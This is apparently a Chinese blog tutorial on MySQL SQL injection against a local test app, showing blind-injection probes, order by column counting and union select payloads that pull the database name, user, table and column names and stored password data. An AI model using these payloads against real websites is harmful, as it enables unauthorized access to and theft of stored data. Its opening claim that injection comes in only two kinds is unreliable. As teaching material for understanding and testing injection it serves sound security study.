SQL注入主要有两种:盲注和时间注入。
盲注
当网站没有错误回显,攻击者缺少重要的信息进行攻击,但并不是无法进行攻击,攻击者通过构造简单的SQL语句来测试网页是否发生变化,从而判断SQL语句是否执行了,这就是所谓的盲注。
比如,如下的请求链接:
http://localhost:8080/user/name?name=lingheng
执行的SQ L语句为:
select * from t_person
where Fname='lingheng'
服务器成功返回查询的结果:
可以构造如下参数进行请求:
http://localhost:8080/user/name?
name=lingheng' and 1=2 %23
数据库实际执行的SQL语句如下:
select * from t_person
where Fname='lingheng' and 1=2 #'
%23是在浏览器中被解析为注释符 #,注释符将后面的SQL语句注释掉。I=2这个条件为假,SQL语句查询的结果永远为空,服务器永远不会返回结果,攻击者得到一个空的页面或者是具有错误信息的页面。
攻击者还可以构造如下参数进行请求:
http://localhost:8080/user/name?
name=lingheng' and 1=1 %23
实际执行的SQL语句为:
select * from t_person
where Fname='lingheng' and 1=1 #'
攻击者构造1=1进行请求时,得到结果跟参数name=lingheng一样。由于构造 and 1=1 和and 1=2 进行请求,得到的结果不一样,说明这个链接存在SQL注入。这就是盲注的基本测试方法以及基本的原理。
order by 测试表的字段个数
当发现有SQL注入漏洞时,如何进一步获取更多的数据库信息呢?
当发现有SQL注入时,可以使用order by进行测试表的字段个数。
构造的请求链接为:
http://localhost:8080/user/name?
name=lingheng' order by 4 %23
上述请求实际执行的SQL语句为:
select * from t_person
where Fname='lingheng' order by 4 #'
order by 4 的意思是根据第四个字段进行排序,当请求结果返回正常时,说明表的字段个数是少于4的。将order by 4 换成order by 5 进行请求,发现请求时返回的结果是错误的,那么说明表的字段个数是小于5的,根据order by 4 和order by 5的两个构造条件返回的结果,可以判断这个表的字段个数为4。order by 5的请求结果如下:
由于网页的请求结果是显示在页面上的,所以可以结合 union 进行下一步的攻击,由于知道表的字段个数为 4 ,所以可以构造如下的链接:
http://localhost:8080/user/name?
name=' union select 1,2 ,3,4 %23
实际执行的SQL语句为:
SELECT * FROM t_person
where Fname ='' union select 1,2 ,3,4 #'
得到的请求结果为:
由于数据库中没有name=‘’的记录,所以会返回union select 查询的结果。接下来可以在2、3的位置使用database()、user()或者version()进行构造请求链接:
http://localhost:8080/user/name?
name=' union select 1,database() ,user(),4 %23
实际执行的SQL语句为:
SELECT * FROM t_person
where Fname ='' union select 1,database() ,user(),4 #'
得到的结果如下图所示:
从上图可以看出,database()的结果是数据库的名称为test,当前登录的MySQL的用户是root。在MySQL 注入基础部分,我们知道有MySQL的information_schema数据库中有三个比较重要的表:schemata、tables、columns。这三个表保存着数据库名称、表名以及表的字段名等信息。当获取到数据库名称后,可以构造如下的请求链接进行获取表名:
http://localhost:8080/user/name?name=' union select 1,
(select table_name from information_schema.tables
where table_schema='test' limit 0,1) ,3,4 %23
实际的SQL执行语句为:
SELECT * FROM t_person where Fname ='' union select 1,(select table_name from information_schema.tables
where table_schema='test' limit 0,1) ,3,4 #'
将union select 查询中 2 的位置换成了如下SQL语句:
select table_name from information_schema.tables
where table_schema='test' limit 0,1
上述SQL语句是根据数据库的名称查询数据库的表名,最多返回一个表名。如果查询的数据库中有多个表名,可以利用limit进行限制返回,limit 1,1 返回第二个表名。构造的请求返回的结果如下:
可以看到返回的数据库的表名为t_person,知道数据库的名称和表名就可以构造请求链接查询表的字段名,也是在union select 中 2 的位置换成如下SQL语句:
select column_name from information_schema.columns
where table_schema='test' and table_name='t_person' limit 0,1
实际执行的SQL语句为:
SELECT * FROM t_person where Fname ='' union select 1,(select column_name from information_schema.columns
where table_schema='test' and table_name='t_person' limit 0,1) ,3,4 #'
查询的结果为:
从上图可以看到第一个字段名字为Fid,查询第二个字段名将imit 0.1改为limit 1,1 就可以了。通过查询得到表的字段名为:Fid、Fname、Fpass_word、Fsex。通过数据名称、表名以及字段名,就可以将数据中的数据数据查出来,将union select 中的 2 位置换成如下SQL语句:
select Fpass_word from test.t_person limit 0,1
根据上述的SQL语句就可以查询字段对应的数据了,其他字段的数据也可以构造上述的查询语句进行查询。现在攻击者没有权限却获取了数据库的名称、表名、字段名以及数据库中的数据,这对于网站来说是一件很危险的事。
我是小图灵视界,会不定时更新互联网安全、互联网资源、互联网技术、以及互联网工具的文章,欢迎各位进行关注!
需要完整源码和教程PDF的可以关注我,并留言评论,我将会发给你!